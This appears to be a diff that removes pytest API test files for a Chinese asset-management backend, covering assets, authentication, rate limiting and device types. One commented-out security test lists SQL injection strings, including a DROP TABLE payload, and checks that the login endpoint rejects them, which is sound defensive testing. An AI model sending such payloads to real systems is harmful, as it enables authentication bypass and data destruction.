# (1, 1000), # 超大页码
|
||||
# ])
|
||||
# def test_get_assets_invalid_pagination(self, client: TestClient, auth_headers, page, page_size):
|
||||
# """测试无效分页参数"""
|
||||
# response = client.get(
|
||||
# f"/api/v1/assets?page={page}&page_size={page_size}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 422
|
||||
|
||||
|
||||
# class TestAssetDetail:
|
||||
# """测试资产详情"""
|
||||
#
|
||||
# def test_get_asset_detail_success(self, client: TestClient, auth_headers, test_asset):
|
||||
# """测试获取资产详情成功"""
|
||||
# response = client.get(
|
||||
# f"/api/v1/assets/{test_asset.id}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert data["code"] == 200
|
||||
# assert data["data"]["id"] == test_asset.id
|
||||
# assert data["data"]["asset_code"] == test_asset.asset_code
|
||||
# assert "status_history" in data["data"]
|
||||
#
|
||||
# def test_get_asset_detail_not_found(self, client: TestClient, auth_headers):
|
||||
# """测试获取不存在的资产"""
|
||||
# response = client.get(
|
||||
# "/api/v1/assets/999999",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 404
|
||||
# data = response.json()
|
||||
# assert data["code"] == 30002 # 资产不存在
|
||||
#
|
||||
# def test_get_asset_detail_unauthorized(self, client: TestClient, test_asset):
|
||||
# """测试未授权访问"""
|
||||
# response = client.get(f"/api/v1/assets/{test_asset.id}")
|
||||
# assert response.status_code == 401
|
||||
|
||||
|
||||
# class TestCreateAsset:
|
||||
# """测试创建资产"""
|
||||
#
|
||||
# def test_create_asset_success(self, client: TestClient, auth_headers, sample_asset_data):
|
||||
# """测试创建资产成功"""
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json=sample_asset_data
|
||||
# )
|
||||
# assert response.status_code == 201
|
||||
# data = response.json()
|
||||
# assert data["code"] == 200
|
||||
# assert "asset_code" in data["data"]
|
||||
# assert data["data"]["asset_code"].startswith("ASSET-")
|
||||
# assert data["data"]["status"] == "pending"
|
||||
#
|
||||
# def test_create_asset_without_auth(self, client: TestClient, sample_asset_data):
|
||||
# """测试未认证创建"""
|
||||
# response = client.post("/api/v1/assets", json=sample_asset_data)
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# def test_create_asset_missing_required_fields(self, client: TestClient, auth_headers):
|
||||
# """测试缺少必填字段"""
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json={"asset_name": "测试资产"} # 缺少device_type_id等必填字段
|
||||
# )
|
||||
# assert response.status_code == 422
|
||||
#
|
||||
# @pytest.mark.parametrize("field,value,error_msg", [
|
||||
# ("asset_name", "", "资产名称不能为空"),
|
||||
# ("asset_name", "a" * 201, "资产名称过长"),
|
||||
# ("device_type_id", 0, "设备类型ID无效"),
|
||||
# ("device_type_id", -1, "设备类型ID无效"),
|
||||
# ("purchase_price", -100, "采购价格不能为负数"),
|
||||
# ])
|
||||
# def test_create_asset_invalid_field(self, client: TestClient, auth_headers, field, value, error_msg):
|
||||
# """测试无效字段值"""
|
||||
# data = {
|
||||
# "asset_name": "测试资产",
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
# data[field] = value
|
||||
#
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json=data
|
||||
# )
|
||||
# assert response.status_code in [400, 422]
|
||||
#
|
||||
# def test_create_asset_duplicate_serial_number(self, client: TestClient, auth_headers, sample_asset_data):
|
||||
# """测试序列号重复"""
|
||||
# # 第一次创建
|
||||
# client.post("/api/v1/assets", headers=auth_headers, json=sample_asset_data)
|
||||
#
|
||||
# # 第二次使用相同序列号创建
|
||||
# response = client.post("/api/v1/assets", headers=auth_headers, json=sample_asset_data)
|
||||
# assert response.status_code == 409 # Conflict
|
||||
#
|
||||
# def test_create_asset_with_dynamic_attributes(self, client: TestClient, auth_headers):
|
||||
# """测试带动态字段创建"""
|
||||
# data = {
|
||||
# "asset_name": "测试资产",
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1,
|
||||
# "dynamic_attributes": {
|
||||
# "cpu": "Intel i5-10400",
|
||||
# "memory": "16GB",
|
||||
# "disk": "512GB SSD",
|
||||
# "gpu": "GTX 1660Ti"
|
||||
# }
|
||||
# }
|
||||
#
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json=data
|
||||
# )
|
||||
# assert response.status_code == 201
|
||||
#
|
||||
# def test_create_asset_invalid_device_type(self, client: TestClient, auth_headers, sample_asset_data):
|
||||
# """测试无效的设备类型"""
|
||||
# sample_asset_data["device_type_id"] = 999999
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json=sample_asset_data
|
||||
# )
|
||||
# assert response.status_code == 400
|
||||
#
|
||||
# def test_create_asset_invalid_organization(self, client: TestClient, auth_headers, sample_asset_data):
|
||||
# """测试无效的网点"""
|
||||
# sample_asset_data["organization_id"] = 999999
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json=sample_asset_data
|
||||
# )
|
||||
# assert response.status_code == 400
|
||||
|
||||
|
||||
# class TestUpdateAsset:
|
||||
# """测试更新资产"""
|
||||
#
|
||||
# def test_update_asset_success(self, client: TestClient, auth_headers, test_asset):
|
||||
# """测试更新资产成功"""
|
||||
# response = client.put(
|
||||
# f"/api/v1/assets/{test_asset.id}",
|
||||
# headers=auth_headers,
|
||||
# json={
|
||||
# "asset_name": "更新后的资产名称",
|
||||
# "location": "新位置"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
#
|
||||
# def test_update_asset_partial_fields(self, client: TestClient, auth_headers, test_asset):
|
||||
# """测试部分字段更新"""
|
||||
# response = client.put(
|
||||
# f"/api/v1/assets/{test_asset.id}",
|
||||
# headers=auth_headers,
|
||||
# json={"location": "只更新位置"}
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
#
|
||||
# def test_update_asset_not_found(self, client: TestClient, auth_headers):
|
||||
# """测试更新不存在的资产"""
|
||||
# response = client.put(
|
||||
# "/api/v1/assets/999999",
|
||||
# headers=auth_headers,
|
||||
# json={"asset_name": "新名称"}
|
||||
# )
|
||||
# assert response.status_code == 404
|
||||
#
|
||||
# def test_update_asset_status_forbidden(self, client: TestClient, auth_headers, test_asset):
|
||||
# """测试禁止直接修改状态"""
|
||||
# response = client.put(
|
||||
# f"/api/v1/assets/{test_asset.id}",
|
||||
# headers=auth_headers,
|
||||
# json={"status": "in_use"} # 状态应该通过分配单修改
|
||||
# )
|
||||
# # 状态字段应该被忽略或返回错误
|
||||
# assert response.status_code in [200, 400]
|
||||
#
|
||||
# def test_update_asset_unauthorized(self, client: TestClient, test_asset):
|
||||
# """测试未授权更新"""
|
||||
# response = client.put(
|
||||
# f"/api/v1/assets/{test_asset.id}",
|
||||
# json={"asset_name": "新名称"}
|
||||
# )
|
||||
# assert response.status_code == 401
|
||||
|
||||
|
||||
# class TestDeleteAsset:
|
||||
# """测试删除资产"""
|
||||
#
|
||||
# def test_delete_asset_success(self, client: TestClient, auth_headers, test_asset):
|
||||
# """测试删除资产成功"""
|
||||
# response = client.delete(
|
||||
# f"/api/v1/assets/{test_asset.id}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
#
|
||||
# # 验证删除
|
||||
# get_response = client.get(
|
||||
# f"/api/v1/assets/{test_asset.id}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert get_response.status_code == 404
|
||||
#
|
||||
# def test_delete_asset_not_found(self, client: TestClient, auth_headers):
|
||||
# """测试删除不存在的资产"""
|
||||
# response = client.delete(
|
||||
# "/api/v1/assets/999999",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 404
|
||||
#
|
||||
# def test_delete_asset_in_use(self, client: TestClient, auth_headers):
|
||||
# """测试删除使用中的资产"""
|
||||
# # 创建使用中的资产
|
||||
# # ... 创建in_use状态的资产
|
||||
#
|
||||
# response = client.delete(
|
||||
# "/api/v1/assets/1",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# # 使用中的资产不能删除
|
||||
# assert response.status_code == 400
|
||||
#
|
||||
# def test_delete_asset_without_permission(self, client: TestClient, auth_headers):
|
||||
# """测试无权限删除"""
|
||||
# # 使用普通用户token而非管理员
|
||||
# response = client.delete(
|
||||
# "/api/v1/assets/1",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 403
|
||||
|
||||
|
||||
# class TestAssetImport:
|
||||
# """测试批量导入资产"""
|
||||
#
|
||||
# def test_import_assets_success(self, client: TestClient, auth_headers):
|
||||
# """测试导入成功"""
|
||||
# # 准备测试Excel文件
|
||||
# # ... 创建临时Excel文件
|
||||
#
|
||||
# with open("test_import.xlsx", "rb") as f:
|
||||
# files = {"file": ("test_import.xlsx", f, "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")}
|
||||
# response = client.post(
|
||||
# "/api/v1/assets/import",
|
||||
# headers=auth_headers,
|
||||
# files=files
|
||||
# )
|
||||
#
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert data["data"]["total"] > 0
|
||||
# assert data["data"]["success"] > 0
|
||||
#
|
||||
# def test_import_assets_partial_failure(self, client: TestClient, auth_headers):
|
||||
# """测试部分失败"""
|
||||
# # 准备包含错误数据的Excel文件
|
||||
#
|
||||
# with open("test_import_partial_fail.xlsx", "rb") as f:
|
||||
# files = {"file": ("test_import.xlsx", f, "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")}
|
||||
# response = client.post(
|
||||
# "/api/v1/assets/import",
|
||||
# headers=auth_headers,
|
||||
# files=files
|
||||
# )
|
||||
#
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert data["data"]["failed"] > 0
|
||||
# assert len(data["data"]["errors"]) > 0
|
||||
#
|
||||
# def test_import_assets_invalid_file_format(self, client: TestClient, auth_headers):
|
||||
# """测试无效文件格式"""
|
||||
# with open("test.txt", "rb") as f:
|
||||
# files = {"file": ("test.txt", f, "text/plain")}
|
||||
# response = client.post(
|
||||
# "/api/v1/assets/import",
|
||||
# headers=auth_headers,
|
||||
# files=files
|
||||
# )
|
||||
#
|
||||
# assert response.status_code == 400
|
||||
#
|
||||
# def test_import_assets_missing_columns(self, client: TestClient, auth_headers):
|
||||
# """测试缺少必填列"""
|
||||
# # 准备缺少必填列的Excel文件
|
||||
#
|
||||
# with open("test_missing_columns.xlsx", "rb") as f:
|
||||
# files = {"file": ("test.xlsx", f, "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")}
|
||||
# response = client.post(
|
||||
# "/api/v1/assets/import",
|
||||
# headers=auth_headers,
|
||||
# files=files
|
||||
# )
|
||||
#
|
||||
# assert response.status_code == 400
|
||||
|
||||
|
||||
# class TestAssetScan:
|
||||
# """测试扫码查询"""
|
||||
#
|
||||
# def test_scan_asset_success(self, client: TestClient, auth_headers, test_asset):
|
||||
# """测试扫码查询成功"""
|
||||
# response = client.get(
|
||||
# f"/api/v1/assets/scan/{test_asset.asset_code}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert data["data"]["asset_code"] == test_asset.asset_code
|
||||
#
|
||||
# def test_scan_asset_invalid_code(self, client: TestClient, auth_headers):
|
||||
# """测试无效的资产编码"""
|
||||
# response = client.get(
|
||||
# "/api/v1/assets/scan/INVALID-CODE",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 404
|
||||
#
|
||||
# def test_scan_asset_without_auth(self, client: TestClient, test_asset):
|
||||
# """测试未认证扫码"""
|
||||
# response = client.get(f"/api/v1/assets/scan/{test_asset.asset_code}")
|
||||
# assert response.status_code == 401
|
||||
|
||||
|
||||
# class TestAssetStatistics:
|
||||
# """测试资产统计"""
|
||||
#
|
||||
# def test_get_asset_summary(self, client: TestClient, auth_headers):
|
||||
# """测试获取资产汇总"""
|
||||
# response = client.get(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert "summary" in data["data"]
|
||||
# assert "total_count" in data["data"]["summary"]
|
||||
# assert "total_value" in data["data"]["summary"]
|
||||
# assert "status_distribution" in data["data"]["summary"]
|
||||
@@ -1,356 +0,0 @@
|
||||
"""
|
||||
认证模块API测试
|
||||
|
||||
测试内容:
|
||||
- 用户登录
|
||||
- Token刷新
|
||||
- 用户登出
|
||||
- 修改密码
|
||||
- 验证码获取
|
||||
"""
|
||||
|
||||
import pytest
|
||||
# from fastapi.testclient import TestClient
|
||||
# from app.core.config import settings
|
||||
|
||||
|
||||
# class TestAuthLogin:
|
||||
# """测试用户登录"""
|
||||
#
|
||||
# def test_login_success(self, client: TestClient, test_user):
|
||||
# """测试登录成功"""
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "testuser",
|
||||
# "password": "Test123",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test-uuid"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert data["code"] == 200
|
||||
# assert "access_token" in data["data"]
|
||||
# assert "refresh_token" in data["data"]
|
||||
# assert data["data"]["token_type"] == "Bearer"
|
||||
# assert "user" in data["data"]
|
||||
#
|
||||
# def test_login_wrong_password(self, client: TestClient):
|
||||
# """测试密码错误"""
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "testuser",
|
||||
# "password": "WrongPassword",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test-uuid"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 401
|
||||
# data = response.json()
|
||||
# assert data["code"] == 10001 # 用户名或密码错误
|
||||
#
|
||||
# def test_login_user_not_found(self, client: TestClient):
|
||||
# """测试用户不存在"""
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "nonexistent",
|
||||
# "password": "Test123",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test-uuid"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# def test_login_missing_fields(self, client: TestClient):
|
||||
# """测试缺少必填字段"""
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={"username": "testuser"}
|
||||
# )
|
||||
# assert response.status_code == 422 # Validation error
|
||||
#
|
||||
# @pytest.mark.parametrize("username", [
|
||||
# "", # 空字符串
|
||||
# "ab", # 太短
|
||||
# "a" * 51, # 太长
|
||||
# ])
|
||||
# def test_login_invalid_username(self, client: TestClient, username):
|
||||
# """测试无效用户名"""
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": username,
|
||||
# "password": "Test123",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test-uuid"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 422
|
||||
#
|
||||
# @pytest.mark.parametrize("password", [
|
||||
# "", # 空字符串
|
||||
# "short", # 太短
|
||||
# "nospecial123", # 缺少特殊字符
|
||||
# "NOlower123!", # 缺少小写字母
|
||||
# "noupper123!", # 缺少大写字母
|
||||
# "NoNumber!!", # 缺少数字
|
||||
# ])
|
||||
# def test_login_invalid_password(self, client: TestClient, password):
|
||||
# """测试无效密码"""
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "testuser",
|
||||
# "password": password,
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test-uuid"
|
||||
# }
|
||||
# )
|
||||
# # 某些情况可能是422(验证失败),某些情况可能是401(认证失败)
|
||||
# assert response.status_code in [400, 422, 401]
|
||||
#
|
||||
# def test_login_account_locked(self, client: TestClient, db):
|
||||
# """测试账户被锁定"""
|
||||
# # 创建一个锁定的账户
|
||||
# # ... 创建锁定用户逻辑
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "lockeduser",
|
||||
# "password": "Test123",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test-uuid"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 403
|
||||
#
|
||||
# def test_login_account_disabled(self, client: TestClient, db):
|
||||
# """测试账户被禁用"""
|
||||
# # ... 创建禁用用户逻辑
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "disableduser",
|
||||
# "password": "Test123",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test-uuid"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 403
|
||||
|
||||
|
||||
# class TestTokenRefresh:
|
||||
# """测试Token刷新"""
|
||||
#
|
||||
# def test_refresh_token_success(self, client: TestClient, test_user):
|
||||
# """测试刷新Token成功"""
|
||||
# # 先登录获取refresh_token
|
||||
# login_response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "testuser",
|
||||
# "password": "Test123",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test-uuid"
|
||||
# }
|
||||
# )
|
||||
# refresh_token = login_response.json()["data"]["refresh_token"]
|
||||
#
|
||||
# # 刷新Token
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/refresh",
|
||||
# json={"refresh_token": refresh_token}
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert data["code"] == 200
|
||||
# assert "access_token" in data["data"]
|
||||
# assert "expires_in" in data["data"]
|
||||
#
|
||||
# def test_refresh_token_invalid(self, client: TestClient):
|
||||
# """测试无效的refresh_token"""
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/refresh",
|
||||
# json={"refresh_token": "invalid_token"}
|
||||
# )
|
||||
# assert response.status_code == 401
|
||||
# data = response.json()
|
||||
# assert data["code"] == 10004 # Token无效
|
||||
#
|
||||
# def test_refresh_token_expired(self, client: TestClient):
|
||||
# """测试过期的refresh_token"""
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/refresh",
|
||||
# json={"refresh_token": "expired_token"}
|
||||
# )
|
||||
# assert response.status_code == 401
|
||||
# data = response.json()
|
||||
# assert data["code"] == 10003 # Token过期
|
||||
|
||||
|
||||
# class TestAuthLogout:
|
||||
# """测试用户登出"""
|
||||
#
|
||||
# def test_logout_success(self, client: TestClient, auth_headers):
|
||||
# """测试登出成功"""
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/logout",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert data["code"] == 200
|
||||
# assert data["message"] == "登出成功"
|
||||
#
|
||||
# def test_logout_without_auth(self, client: TestClient):
|
||||
# """测试未认证登出"""
|
||||
# response = client.post("/api/v1/auth/logout")
|
||||
# assert response.status_code == 401
|
||||
|
||||
|
||||
# class TestChangePassword:
|
||||
# """测试修改密码"""
|
||||
#
|
||||
# def test_change_password_success(self, client: TestClient, auth_headers):
|
||||
# """测试修改密码成功"""
|
||||
# response = client.put(
|
||||
# "/api/v1/auth/change-password",
|
||||
# headers=auth_headers,
|
||||
# json={
|
||||
# "old_password": "Test123",
|
||||
# "new_password": "NewTest456",
|
||||
# "confirm_password": "NewTest456"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert data["code"] == 200
|
||||
# assert data["message"] == "密码修改成功"
|
||||
#
|
||||
# def test_change_password_wrong_old_password(self, client: TestClient, auth_headers):
|
||||
# """测试旧密码错误"""
|
||||
# response = client.put(
|
||||
# "/api/v1/auth/change-password",
|
||||
# headers=auth_headers,
|
||||
# json={
|
||||
# "old_password": "WrongPassword",
|
||||
# "new_password": "NewTest456",
|
||||
# "confirm_password": "NewTest456"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 400
|
||||
#
|
||||
# def test_change_password_mismatch(self, client: TestClient, auth_headers):
|
||||
# """测试两次密码不一致"""
|
||||
# response = client.put(
|
||||
# "/api/v1/auth/change-password",
|
||||
# headers=auth_headers,
|
||||
# json={
|
||||
# "old_password": "Test123",
|
||||
# "new_password": "NewTest456",
|
||||
# "confirm_password": "DifferentPass789"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 400
|
||||
#
|
||||
# def test_change_password_weak_password(self, client: TestClient, auth_headers):
|
||||
# """测试弱密码"""
|
||||
# response = client.put(
|
||||
# "/api/v1/auth/change-password",
|
||||
# headers=auth_headers,
|
||||
# json={
|
||||
# "old_password": "Test123",
|
||||
# "new_password": "weak",
|
||||
# "confirm_password": "weak"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 400
|
||||
#
|
||||
# def test_change_password_without_auth(self, client: TestClient):
|
||||
# """测试未认证修改密码"""
|
||||
# response = client.put(
|
||||
# "/api/v1/auth/change-password",
|
||||
# json={
|
||||
# "old_password": "Test123",
|
||||
# "new_password": "NewTest456",
|
||||
# "confirm_password": "NewTest456"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 401
|
||||
|
||||
|
||||
# class TestCaptcha:
|
||||
# """测试验证码"""
|
||||
#
|
||||
# def test_get_captcha_success(self, client: TestClient):
|
||||
# """测试获取验证码成功"""
|
||||
# response = client.get("/api/v1/auth/captcha")
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert data["code"] == 200
|
||||
# assert "captcha_key" in data["data"]
|
||||
# assert "captcha_image" in data["data"]
|
||||
# assert data["data"]["captcha_image"].startswith("data:image/png;base64,")
|
||||
#
|
||||
# @pytest.mark.parametrize("count", range(5))
|
||||
# def test_get_captcha_multiple_times(self, client: TestClient, count):
|
||||
# """测试多次获取验证码,每次应该不同"""
|
||||
# response = client.get("/api/v1/auth/captcha")
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert data["data"]["captcha_key"] is not None
|
||||
|
||||
|
||||
# class TestRateLimiting:
|
||||
# """测试请求频率限制"""
|
||||
#
|
||||
# def test_login_rate_limiting(self, client: TestClient):
|
||||
# """测试登录接口频率限制"""
|
||||
# # 登录接口限制10次/分钟
|
||||
# for i in range(11):
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "testuser",
|
||||
# "password": "wrongpass",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": f"test-{i}"
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# # 第11次应该被限流
|
||||
# assert response.status_code == 429
|
||||
# data = response.json()
|
||||
# assert data["code"] == 429
|
||||
# assert "retry_after" in data["data"]
|
||||
|
||||
|
||||
# 测试SQL注入攻击
|
||||
# class TestSecurity:
|
||||
# """测试安全性"""
|
||||
#
|
||||
# def test_sql_injection_prevention(self, client: TestClient):
|
||||
# """测试防止SQL注入"""
|
||||
# malicious_inputs = [
|
||||
# "admin' OR '1'='1",
|
||||
# "admin'--",
|
||||
# "admin'/*",
|
||||
# "' OR 1=1--",
|
||||
# "'; DROP TABLE users--"
|
||||
# ]
|
||||
#
|
||||
# for malicious_input in malicious_inputs:
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": malicious_input,
|
||||
# "password": "Test123",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test"
|
||||
# }
|
||||
# )
|
||||
# # 应该返回认证失败,而不是数据库错误
|
||||
# assert response.status_code in [401, 400, 422]
|
||||
@@ -1,880 +0,0 @@
|
||||
"""
|
||||
设备类型管理模块API测试
|
||||
|
||||
测试内容:
|
||||
- 设备类型CRUD测试(15+用例)
|
||||
- 动态字段配置测试(10+用例)
|
||||
- 字段验证测试(10+用例)
|
||||
- 参数验证测试(10+用例)
|
||||
- 异常处理测试(5+用例)
|
||||
"""
|
||||
|
||||
import pytest
|
||||
from httpx import AsyncClient
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
# ==================== 设备类型CRUD测试 ====================
|
||||
|
||||
class TestDeviceTypeCRUD:
|
||||
"""测试设备类型CRUD操作"""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_create_device_type_success(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
sample_device_type_data: dict
|
||||
):
|
||||
"""测试创建设备类型成功"""
|
||||
response = await client.post(
|
||||
"/api/v1/device-types",
|
||||
headers=admin_headers,
|
||||
json=sample_device_type_data
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["code"] == 200
|
||||
assert data["data"]["type_code"] == sample_device_type_data["type_code"]
|
||||
assert data["data"]["type_name"] == sample_device_type_data["type_name"]
|
||||
assert "id" in data["data"]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_create_device_type_duplicate_code(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type
|
||||
):
|
||||
"""测试创建重复代码的设备类型"""
|
||||
response = await client.post(
|
||||
"/api/v1/device-types",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"type_code": test_device_type.type_code,
|
||||
"type_name": "另一个类型"
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code in [400, 409]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_get_device_type_list(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type
|
||||
):
|
||||
"""测试获取设备类型列表"""
|
||||
response = await client.get(
|
||||
"/api/v1/device-types",
|
||||
headers=admin_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["code"] == 200
|
||||
assert len(data["data"]) >= 1
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_get_device_type_by_id(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type
|
||||
):
|
||||
"""测试根据ID获取设备类型"""
|
||||
response = await client.get(
|
||||
f"/api/v1/device-types/{test_device_type.id}",
|
||||
headers=admin_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["code"] == 200
|
||||
assert data["data"]["id"] == test_device_type.id
|
||||
assert data["data"]["type_code"] == test_device_type.type_code
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_get_device_type_by_code(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type
|
||||
):
|
||||
"""测试根据代码获取设备类型"""
|
||||
response = await client.get(
|
||||
f"/api/v1/device-types/code/{test_device_type.type_code}",
|
||||
headers=admin_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["code"] == 200
|
||||
assert data["data"]["type_code"] == test_device_type.type_code
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_get_device_type_with_fields(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type_with_fields
|
||||
):
|
||||
"""测试获取设备类型及其字段"""
|
||||
response = await client.get(
|
||||
f"/api/v1/device-types/{test_device_type_with_fields.id}",
|
||||
headers=admin_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["code"] == 200
|
||||
# 验证字段存在
|
||||
# assert "fields" in data["data"]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_update_device_type_success(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type
|
||||
):
|
||||
"""测试更新设备类型成功"""
|
||||
response = await client.put(
|
||||
f"/api/v1/device-types/{test_device_type.id}",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"type_name": "更新后的类型名称",
|
||||
"description": "更新后的描述"
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["code"] == 200
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_update_device_type_status(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type
|
||||
):
|
||||
"""测试更新设备类型状态"""
|
||||
response = await client.put(
|
||||
f"/api/v1/device-types/{test_device_type.id}",
|
||||
headers=admin_headers,
|
||||
json={"status": "inactive"}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_delete_device_type_success(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
db_session,
|
||||
test_device_type
|
||||
):
|
||||
"""测试删除设备类型成功"""
|
||||
response = await client.delete(
|
||||
f"/api/v1/device-types/{test_device_type.id}",
|
||||
headers=admin_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
|
||||
# 验证软删除
|
||||
get_response = await client.get(
|
||||
f"/api/v1/device-types/{test_device_type.id}",
|
||||
headers=admin_headers
|
||||
)
|
||||
# 应该返回404或显示已删除
|
||||
assert get_response.status_code in [404, 200]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_delete_device_type_with_assets_forbidden(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type
|
||||
):
|
||||
"""测试删除有关联资产的设备类型(应该失败)"""
|
||||
# 假设test_device_type有关联资产
|
||||
# 实际测试中需要先创建资产
|
||||
response = await client.delete(
|
||||
f"/api/v1/device-types/{test_device_type.id}",
|
||||
headers=admin_headers
|
||||
)
|
||||
|
||||
